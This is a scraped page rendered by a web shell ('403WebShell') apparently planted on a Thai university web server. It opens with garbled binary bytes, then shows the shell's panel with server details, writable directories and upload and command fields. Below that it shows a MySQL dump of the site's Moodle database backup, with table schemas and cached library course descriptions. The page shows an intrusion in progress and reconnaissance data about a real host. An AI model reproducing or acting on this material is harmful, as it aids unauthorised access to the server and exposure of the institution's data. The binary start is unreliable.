h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/backupdb/Sunday/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/backupdb/Sunday/moodle.sql
-- MySQL dump 10.13  Distrib 5.1.73, for redhat-linux-gnu (x86_64)
--
-- Host: localhost    Database: moodle
-- ------------------------------------------------------
-- Server version	5.1.73

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;

--
-- Current Database: `moodle`
--

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `moodle` /*!40100 DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci */;

USE `moodle`;

--
-- Table structure for table `adodb_logsql`
--

DROP TABLE IF EXISTS `adodb_logsql`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `adodb_logsql` (
  `created` datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
  `sql0` varchar(250) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `sql1` text COLLATE utf8_unicode_ci NOT NULL,
  `params` text COLLATE utf8_unicode_ci NOT NULL,
  `tracer` text COLLATE utf8_unicode_ci NOT NULL,
  `timer` decimal(16,6) NOT NULL DEFAULT '0.000000'
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `adodb_logsql`
--

LOCK TABLES `adodb_logsql` WRITE;
/*!40000 ALTER TABLE `adodb_logsql` DISABLE KEYS */;
/*!40000 ALTER TABLE `adodb_logsql` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_assignment`
--

DROP TABLE IF EXISTS `mdl_assignment`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_assignment` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `format` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `assignmenttype` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `resubmit` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `preventlate` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `emailteachers` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `var1` int(10) DEFAULT '0',
  `var2` int(10) DEFAULT '0',
  `var3` int(10) DEFAULT '0',
  `var4` int(10) DEFAULT '0',
  `var5` int(10) DEFAULT '0',
  `maxbytes` int(10) unsigned NOT NULL DEFAULT '100000',
  `timedue` int(10) unsigned NOT NULL DEFAULT '0',
  `timeavailable` int(10) unsigned NOT NULL DEFAULT '0',
  `grade` int(10) NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Defines assignments';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_assignment`
--

LOCK TABLES `mdl_assignment` WRITE;
/*!40000 ALTER TABLE `mdl_assignment` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_assignment` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_assignment_submissions`
--

DROP TABLE IF EXISTS `mdl_assignment_submissions`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_assignment_submissions` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `assignment` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `timecreated` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  `numfiles` int(10) unsigned NOT NULL DEFAULT '0',
  `data1` text COLLATE utf8_unicode_ci NOT NULL,
  `data2` text COLLATE utf8_unicode_ci NOT NULL,
  `grade` int(11) NOT NULL DEFAULT '0',
  `comment` text COLLATE utf8_unicode_ci NOT NULL,
  `format` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `teacher` int(10) unsigned NOT NULL DEFAULT '0',
  `timemarked` int(10) unsigned NOT NULL DEFAULT '0',
  `mailed` tinyint(1) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `assignment` (`assignment`),
  KEY `userid` (`userid`),
  KEY `mailed` (`mailed`),
  KEY `timemarked` (`timemarked`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Info about submitted assignments';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_assignment_submissions`
--

LOCK TABLES `mdl_assignment_submissions` WRITE;
/*!40000 ALTER TABLE `mdl_assignment_submissions` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_assignment_submissions` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_backup_config`
--

DROP TABLE IF EXISTS `mdl_backup_config`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_backup_config` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `value` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='To store backup configuration variables';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_backup_config`
--

LOCK TABLES `mdl_backup_config` WRITE;
/*!40000 ALTER TABLE `mdl_backup_config` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_backup_config` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_backup_courses`
--

DROP TABLE IF EXISTS `mdl_backup_courses`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_backup_courses` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `laststarttime` int(10) unsigned NOT NULL DEFAULT '0',
  `lastendtime` int(10) unsigned NOT NULL DEFAULT '0',
  `laststatus` varchar(1) COLLATE utf8_unicode_ci NOT NULL DEFAULT '0',
  `nextstarttime` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `courseid` (`courseid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='To store every course backup status';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_backup_courses`
--

LOCK TABLES `mdl_backup_courses` WRITE;
/*!40000 ALTER TABLE `mdl_backup_courses` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_backup_courses` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_backup_files`
--

DROP TABLE IF EXISTS `mdl_backup_files`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_backup_files` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `backup_code` int(10) unsigned NOT NULL DEFAULT '0',
  `file_type` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `path` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `old_id` int(10) unsigned NOT NULL DEFAULT '0',
  `new_id` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `backup_files_uk` (`backup_code`,`file_type`,`path`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='To store and recode ids to user and course files.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_backup_files`
--

LOCK TABLES `mdl_backup_files` WRITE;
/*!40000 ALTER TABLE `mdl_backup_files` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_backup_files` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_backup_ids`
--

DROP TABLE IF EXISTS `mdl_backup_ids`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_backup_ids` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `backup_code` int(12) unsigned NOT NULL DEFAULT '0',
  `table_name` varchar(30) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `old_id` int(10) unsigned NOT NULL DEFAULT '0',
  `new_id` int(10) unsigned NOT NULL DEFAULT '0',
  `info` mediumtext COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `backup_ids_uk` (`backup_code`,`table_name`,`old_id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='To store and convert ids in backup/restore';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_backup_ids`
--

LOCK TABLES `mdl_backup_ids` WRITE;
/*!40000 ALTER TABLE `mdl_backup_ids` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_backup_ids` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_backup_log`
--

DROP TABLE IF EXISTS `mdl_backup_log`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_backup_log` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `courseid` int(10) unsigned NOT NULL DEFAULT '0',
  `time` int(10) unsigned NOT NULL DEFAULT '0',
  `laststarttime` int(10) unsigned NOT NULL DEFAULT '0',
  `info` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='To store every course backup log info';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_backup_log`
--

LOCK TABLES `mdl_backup_log` WRITE;
/*!40000 ALTER TABLE `mdl_backup_log` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_backup_log` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_block`
--

DROP TABLE IF EXISTS `mdl_block`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_block` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(40) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `version` int(10) NOT NULL DEFAULT '0',
  `cron` int(10) unsigned NOT NULL DEFAULT '0',
  `lastcron` int(10) unsigned NOT NULL DEFAULT '0',
  `visible` tinyint(1) NOT NULL DEFAULT '1',
  `multiple` tinyint(1) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=24 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_block`
--

LOCK TABLES `mdl_block` WRITE;
/*!40000 ALTER TABLE `mdl_block` DISABLE KEYS */;
INSERT INTO `mdl_block` VALUES (1,'activity_modules',2006011300,0,0,1,0),(2,'admin',2004081200,0,0,1,0),(3,'blog_menu',2004112000,0,0,1,0),(4,'blog_tags',2006032000,0,0,1,1),(5,'calendar_month',2004081200,0,0,1,0),(6,'calendar_upcoming',2004052600,0,0,1,0),(7,'course_list',2004111600,0,0,1,0),(8,'course_summary',2004052600,0,0,1,0),(9,'glossary_random',2005040500,0,0,1,1),(10,'html',2004123000,0,0,1,1),(11,'loancalc',2005022100,0,0,1,0),(12,'login',2004081600,0,0,1,0),(13,'messages',2004122800,0,0,1,0),(14,'news_items',2005030800,0,0,1,0),(15,'online_users',2006030100,0,0,1,0),(16,'participants',2004052600,0,0,1,0),(17,'quiz_results',2005082300,0,0,1,1),(18,'recent_activity',2004042900,0,0,1,0),(19,'rss_client',2005111400,0,0,1,1),(20,'search_forums',2005030900,0,0,1,0),(21,'section_links',2004052800,0,0,1,0),(22,'site_main_menu',2005061300,0,0,1,0),(23,'social_activities',2004041800,0,0,1,0);
/*!40000 ALTER TABLE `mdl_block` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_block_instance`
--

DROP TABLE IF EXISTS `mdl_block_instance`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_block_instance` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `blockid` int(10) NOT NULL DEFAULT '0',
  `pageid` int(10) NOT NULL DEFAULT '0',
  `pagetype` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `position` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `weight` tinyint(3) NOT NULL DEFAULT '0',
  `visible` tinyint(1) NOT NULL DEFAULT '0',
  `configdata` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `pageid` (`pageid`),
  KEY `pagetype` (`pagetype`)
) ENGINE=MyISAM AUTO_INCREMENT=25 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_block_instance`
--

LOCK TABLES `mdl_block_instance` WRITE;
/*!40000 ALTER TABLE `mdl_block_instance` DISABLE KEYS */;
INSERT INTO `mdl_block_instance` VALUES (1,22,1,'course-view','l',0,1,''),(2,2,1,'course-view','l',1,1,''),(3,8,1,'course-view','r',0,1,''),(4,5,1,'course-view','r',1,1,''),(5,3,2,'blog-view','r',0,1,''),(6,4,2,'blog-view','r',1,1,''),(7,3,3,'blog-view','r',0,1,''),(8,4,3,'blog-view','r',1,1,''),(9,16,2,'course-view','l',0,1,''),(10,1,2,'course-view','l',1,1,''),(11,20,2,'course-view','l',2,1,''),(12,2,2,'course-view','l',3,1,''),(13,7,2,'course-view','l',4,1,''),(14,14,2,'course-view','r',0,1,''),(15,6,2,'course-view','r',1,1,''),(16,18,2,'course-view','r',2,1,''),(17,16,3,'course-view','l',0,1,''),(18,1,3,'course-view','l',1,1,''),(19,20,3,'course-view','l',2,1,''),(20,2,3,'course-view','l',3,1,''),(21,7,3,'course-view','l',4,1,''),(22,14,3,'course-view','r',0,1,''),(23,6,3,'course-view','r',1,1,''),(24,18,3,'course-view','r',2,1,'');
/*!40000 ALTER TABLE `mdl_block_instance` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_block_pinned`
--

DROP TABLE IF EXISTS `mdl_block_pinned`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_block_pinned` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `blockid` int(10) NOT NULL DEFAULT '0',
  `pagetype` varchar(20) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `position` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `weight` tinyint(3) NOT NULL DEFAULT '0',
  `visible` tinyint(1) NOT NULL DEFAULT '0',
  `configdata` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  KEY `pagetype` (`pagetype`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_block_pinned`
--

LOCK TABLES `mdl_block_pinned` WRITE;
/*!40000 ALTER TABLE `mdl_block_pinned` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_block_pinned` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_block_rss_client`
--

DROP TABLE IF EXISTS `mdl_block_rss_client`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_block_rss_client` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `userid` int(11) NOT NULL DEFAULT '0',
  `title` text COLLATE utf8_unicode_ci NOT NULL,
  `preferredtitle` varchar(64) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `description` text COLLATE utf8_unicode_ci NOT NULL,
  `url` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Remote news feed information. Contains the news feed id, the';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_block_rss_client`
--

LOCK TABLES `mdl_block_rss_client` WRITE;
/*!40000 ALTER TABLE `mdl_block_rss_client` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_block_rss_client` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_blog_tag_instance`
--

DROP TABLE IF EXISTS `mdl_blog_tag_instance`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_blog_tag_instance` (
  `id` int(10) NOT NULL AUTO_INCREMENT,
  `entryid` int(10) NOT NULL DEFAULT '0',
  `tagid` int(10) NOT NULL DEFAULT '0',
  `groupid` int(10) NOT NULL DEFAULT '0',
  `courseid` int(10) NOT NULL DEFAULT '0',
  `userid` int(10) NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `bti_entryid_idx` (`entryid`),
  KEY `bti_tagid_idx` (`tagid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='tag instance for blogs.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_blog_tag_instance`
--

LOCK TABLES `mdl_blog_tag_instance` WRITE;
/*!40000 ALTER TABLE `mdl_blog_tag_instance` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_blog_tag_instance` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_cache_filters`
--

DROP TABLE IF EXISTS `mdl_cache_filters`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_cache_filters` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `filter` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `version` int(10) unsigned NOT NULL DEFAULT '0',
  `md5key` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `rawtext` text COLLATE utf8_unicode_ci NOT NULL,
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `filtermd5key` (`filter`,`md5key`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='For keeping information about cached data';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_cache_filters`
--

LOCK TABLES `mdl_cache_filters` WRITE;
/*!40000 ALTER TABLE `mdl_cache_filters` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_cache_filters` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_cache_text`
--

DROP TABLE IF EXISTS `mdl_cache_text`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_cache_text` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `md5key` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `formattedtext` longblob NOT NULL,
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `md5key` (`md5key`)
) ENGINE=MyISAM AUTO_INCREMENT=80 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='For storing temporary copies of processed texts';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_cache_text`
--

LOCK TABLES `mdl_cache_text` WRITE;
/*!40000 ALTER TABLE `mdl_cache_text` DISABLE KEYS */;
INSERT INTO `mdl_cache_text` VALUES (1,'c0089811ba567083ccf668f1b0d49d1c','',1473219839),(2,'b89c4ed0e6f2bb1b60ba224e84d1b9fb','',1473144798),(3,'bbf45ab9cf333ac762b86720ff029bfb','',1473144552),(4,'e8bc2c2c1e8c1465f556d7249efd5e61','สืบค้นทรัพยากรสารสนเทศของห้องสมุด ด้วยระบบ OPAC',1473143535),(5,'2f05849ac45b42eddb1a526b2a819fcb','สืบค้นทรัพยากรสารสนเทศของห้องสมุด ด้วยระบบ OPAC',1473143103),(6,'2dc3b9c31e3644c7320868d5b8225182','แนะนำการสืบค้นทรัพยากรสารสนเทศของห้องสมุดด้วยระบบ OPAC',1473143463),(7,'d98cfb8a0b847a03a5c7c12dd2c6e688','ฐานข้อมุล Web of Science เป็นฐานข้อมูลบรรณานุกรมและสาระสังเขปพร้อมการอ้างอิงและอ้างถึง ที่ครอบคลุมสาขาวิชาหลักทั้งวิทยาศาสตร์ สังคมศาสตร์ และมนุษยศาสตร์ จากวารสารประมาณ 9,200 รายชื่อ ให้ข้อมูลตั้งแต่ปี 2001 - ปัจจุบัน',1473143359),(8,'f60a5042d7d99bb117320ca29213fe5b','<p>ฐานข้อมุล Web of Science เป็นฐานข้อมูลบรรณานุกรมและสาระสังเขปพร้อมการอ้างอิงและอ้างถึง ที่ครอบคลุมสาขาวิชาหลักทั้งวิทยาศาสตร์ สังคมศาสตร์ และมนุษยศาสตร์ จากวารสารประมาณ 9,200 รายชื่อ ให้ข้อมูลตั้งแต่ปี 2001 - ปัจจุบัน</p>',1473143844),(9,'ad14229540ca77819d45f99580960799','แนะนำการสืบค้นฐานข้อมูลออนไลน์',1473144914),(10,'7e2a5ef04dc15888f5926ab235ff6501','แนะนำการสืบค้นฐานข้อมูลออนไลน์ของสำนักวิทยบริการและเทคโนโลยีสารสนเทศ มหาวิทยาลัยราชภัฏสงขลา',1473219839),(11,'55f9eeba728c25a0b206dfae6cdb28b2','Web of Science เป็นฐานข้อมูลบรรณานุกรมและสาระสังเขปพร้อมการอ้างอิงและอ้างถึง ที่ครอบคลุมสาขาวิชาหลักทั้งวิทยาศาสตร์ สังคมศาสตร์ และมนุษยศาสตร์ จากวารสารประมาณ 9,200 รายชื่อ ให้ข้อมูลตั้งแต่ปี 2001 - ปัจจุบัน',1473144914),(12,'e6ee37d6dd1db5eebc73e59674325488','<p>รวมเทคนิคต่างๆในการสืบค้นสารสนเทศ</p>',1473143905),(13,'82ec8e8aaf87caee840e276ed42448d0','รวมเทคนิคต่างๆในการสืบค้นสารสนเทศ',1473143907),(14,'811632decfbfdee049a69f1148f28fc6','ฐานข้อมุล Web of Science เป็นฐานข้อมูลบรรณานุกรมและสาระสังเขปพร้อมการอ้างอิงและอ้างถึง ที่ครอบคลุมสาขาวิชาหลักทั้งวิทยาศาสตร์ สังคมศาสตร์ และมนุษยศาสตร์ จากวารสารประมาณ 9,200 รายชื่อ ให้ข้อมูลตั้งแต่ปี 2001 - ปัจจุบัน',1473143907),(15,'7ed9b4fb11dd12655e25c8959fa3613c','เทคนิคการสืบค้นสารสนเทศ',1473144914),(16,'ab225a590e16fe1f44d1335e899ac8f5','<p>ABI INFORM Complete เป็นฐานข้อมูลที่รวบรวมข้อมูลทาง ด้านธุรกิจ การโฆษณา การตลาด เศรษฐศาสตร์ การจัดการทรัพยากรมนุษย์ การเงิน ภาษี คอมพิวเตอร์ มากกว่า 1,100 รายชื่อ รวมถึงสารสนเทศของบริษัทต่าง ๆ อีกมากกว่า 60,000 บริษัท และสามารถสืบค้นบทความฉบับเต็มได้จากวารสารทั่วโลกกว่า 800 รายชื่อ</p>',1473144036),(17,'226fa79afc8810f82258f3133f412507','ABI INFORM Complete เป็นฐานข้อมูลที่รวบรวมข้อมูลทาง ด้านธุรกิจ การโฆษณา การตลาด เศรษฐศาสตร์ การจัดการทรัพยากรมนุษย์ การเงิน ภาษี คอมพิวเตอร์ มากกว่า 1,100 รายชื่อ รวมถึงสารสนเทศของบริษัทต่าง ๆ อีกมากกว่า 60,000 บริษัท และสามารถสืบค้นบทความฉบับเต็มได้จากวารสารทั่วโลกกว่า 800 รายชื่อ',1473144914),(18,'3983bc719ad400c5e31024f7f64a101c','SpringerLink เป็นฐานข้อมูลวารสารอิเล็กทรอนิกส์ วิทยาศาสตร์และวิทยาศาสตร์สุขภาพ ครอบคลุมวารสาร จำนวนเอกสารฉบับเต็ม 1,130 ชื่อ ในข้อมูลปี 1997 - ปัจจุบัน',1473144914),(19,'5af5c896332a206985dde3481f892526','<p>SpringerLink เป็นฐานข้อมูลวารสารอิเล็กทรอนิกส์ วิทยาศาสตร์และวิทยาศาสตร์สุขภาพ ครอบคลุมวารสาร จำนวนเอกสารฉบับเต็ม 1,130 ชื่อ ในข้อมูลปี 1997 - ปัจจุบัน</p>',1473144161),(20,'8cbc5684b5bf9971d613415104d59aef','ProQuest Dissertaions & Theses เป็นฐานข้อมูลที่รวบรวมวิทยานิพนธ์ระดับปริญญาโท และปริญญาเอกของสถาบันการศึกษาที่ได้รับการรับรองจากประเทศสหรัฐอเมริกาและแคนาดา รวมถึงบางสถาบันการศึกษาจากทวีปยุโรป ออสเตรเลีย เอเชีย และแอฟริกา มากกว่า 1,000 แห่ง ประกอบไปด้วยข้อมูลมากกว่า 2.4 ล้านระเบียน',1473144914),(21,'336256c582af238980c86542ab69e0ec','<p>ProQuest Dissertaions & Theses เป็นฐานข้อมูลที่รวบรวมวิทยานิพนธ์ระดับปริญญาโท และปริญญาเอกของสถาบันการศึกษาที่ได้รับการรับรองจากประเทศสหรัฐอเมริกาและแคนาดา รวมถึงบางสถาบันการศึกษาจากทวีปยุโรป ออสเตรเลีย เอเชีย และแอฟริกา มากกว่า 1,000 แห่ง ประกอบไปด้วยข้อมูลมากกว่า 2.4 ล้านระเบียน</p>',1473144243),(22,'9f534b184ca4368e2485597f9e33aabe','ACS Journals (American Chemical Society Journal) เป็นฐานข้อมูลที่รวบรวมบทความ และงานวิจัย จากวารสารทางด้านเคมีและวิทยาศาสตร์ที่เกี่ยวข้องโดยรวบรวมจากวารสารทั้งที่พิมพ์เป็นรูปเล่ม วารสารอิเล็กทรอนิกส์ (Electronic Journals) ข้อมูลที่ได้จากการสืบค้นเป็นข้อมูลฉบับเม (Full Text) และรูปภาพ (Image) ย้อนหลังตั้งแต่ปี 1996',1473144914),(23,'35cc94006794459b8b2aa7bff2704a68','<p>ACS Journals (American Chemical Society Journal) เป็นฐานข้อมูลที่รวบรวมบทความ และงานวิจัย จากวารสารทางด้านเคมีและวิทยาศาสตร์ที่เกี่ยวข้องโดยรวบรวมจากวารสารทั้งที่พิมพ์เป็นรูปเล่ม วารสารอิเล็กทรอนิกส์ (Electronic Journals) ข้อมูลที่ได้จากการสืบค้นเป็นข้อมูลฉบับเม (Full Text) และรูปภาพ (Image) ย้อนหลังตั้งแต่ปี 1996</p>',1473144364),(24,'24f2ff2027a158c21aec18ff121bce9e','ACM Digital Library 